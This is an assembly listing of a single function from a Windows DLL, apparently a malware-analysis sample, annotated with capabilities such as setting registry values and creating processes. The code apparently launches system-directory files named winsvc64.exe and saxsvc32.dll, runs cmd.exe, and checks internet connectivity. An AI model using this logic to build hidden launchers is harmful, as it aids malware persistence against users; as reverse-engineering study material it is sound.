Function at 0x10001480
Capabilities:
Check internet connectivity via wininet
Create process on windows
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x118
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x114], eax
push ebp
push esi
xor ebp, ebp
push 0x103
lea eax, [esp + 0x1d]
push ebp
push eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], ebp
mov byte [esp + 0x24], 0
call sub.MSVCR90.dll_memset
mov eax, 0x10005808
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100014c0
sub eax, edx
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push edi
jne 0x1000153b
push 0x104
push ebp
push 0x10005808
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x104
push 0x10005808
call esi
mov edi, 0x10005808
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100014f7
mov cx, word [0x100041d4]
mov eax, 0x10005808
mov word [edi], cx
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10001510
mov edx, dword [str.winsvc64.exe]
mov ecx, dword [0x100041dc]
mov dword [eax], edx
mov edx, dword [0x100041e0]
mov dword [eax + 4], ecx
mov cl, byte [0x100041e4]
mov dword [eax + 8], edx
mov byte [eax + 0xc], cl
mov eax, 0x10005910
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001543
sub eax, edx
jne 0x100015bb
push 0x104
push ebp
push 0x10005910
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x104
push 0x10005910
call esi
mov edi, 0x10005910
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10001573
mov dx, word [0x100041d4]
mov eax, 0x10005910
mov word [edi], dx
dec eax
jmp 0x10001590
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10001590
mov ecx, dword [str.saxsvc32.dll]
mov edx, dword [0x100041ec]
mov dword [eax], ecx
mov ecx, dword [0x100041f0]
mov dword [eax + 4], edx
mov dl, byte [0x100041f4]
mov dword [eax + 8], ecx
mov byte [eax + 0xc], dl
mov eax, dword [esp + 0x128]
cmp eax, 2
je 0x10001609
cmp eax, 3
je 0x10001609
cmp eax, 5
je 0x10001609
mov eax, dword [0x100057f8]
mov edx, dword [0x100055fc]
push 4
lea ecx, [esp + 0x10]
push ecx
push 4
push ebp
mov dword [0x1000576c], eax
mov eax, 0x63
push 0x10005038
mov dword [esp + 0x28], 1
mov dword [0x10005788], eax
mov dword [esp + 0x20], eax
push edx
jmp 0x10001635
cmp dword [0x10005788], ebp
jne 0x1000163b
mov ecx, dword [0x100055fc]
mov eax, 0x58
push 4
mov dword [0x10005788], eax
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
push eax
push 4
push ebp
push 0x10005038
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [0x100057f8]
push 0x10005910
push edx
lea eax, [esp + 0x24]
push str._d__s
push eax
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0x10
push ebp
push ebp
lea ecx, [esp + 0x24]
push ecx
push 0x10005808
push ebp
push ebp
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, 0x64
nop
push 0xc8
dec esi
call ebp
mov ecx, dword [0x100055fc]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x10005038
push ecx
mov dword [esp + 0x28], 4
mov dword [esp + 0x24], 0
call edi
mov eax, dword [esp + 0xc]
mov dword [0x10005788], eax
cmp eax, 1
je 0x100016cc
test esi, esi
jg 0x10001680
mov esi, dword [esp + 0x18]
jmp 0x10001706
cmp dword [esp + 0x14], 0
mov esi, 1
je 0x10001706
push 0
push 0
push 0x10005668
push str.cmd.exe
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp dword [esp + 0x128], 6
jne 0x100016ff
call fcn.100012b0
push 0x1388
call ebp
push 0
push 1
push str.http:__www.naver.com
call dword [sym.imp.WININET.dll_InternetCheckConnectionA]
pop edi
test eax, eax
jne 0x1000173c
cmp dword [esp + 0x10], eax
je 0x1000173c
mov eax, dword [0x10005770]
inc eax
cmp eax, 5
mov dword [0x10005770], eax
jge 0x1000173c
call fcn.10001350
push 0x1388
call ebp
mov ecx, dword [esp + 0x11c]
mov eax, esi
pop esi
pop ebp
xor ecx, esp
call fcn.10003626
add esp, 0x118
ret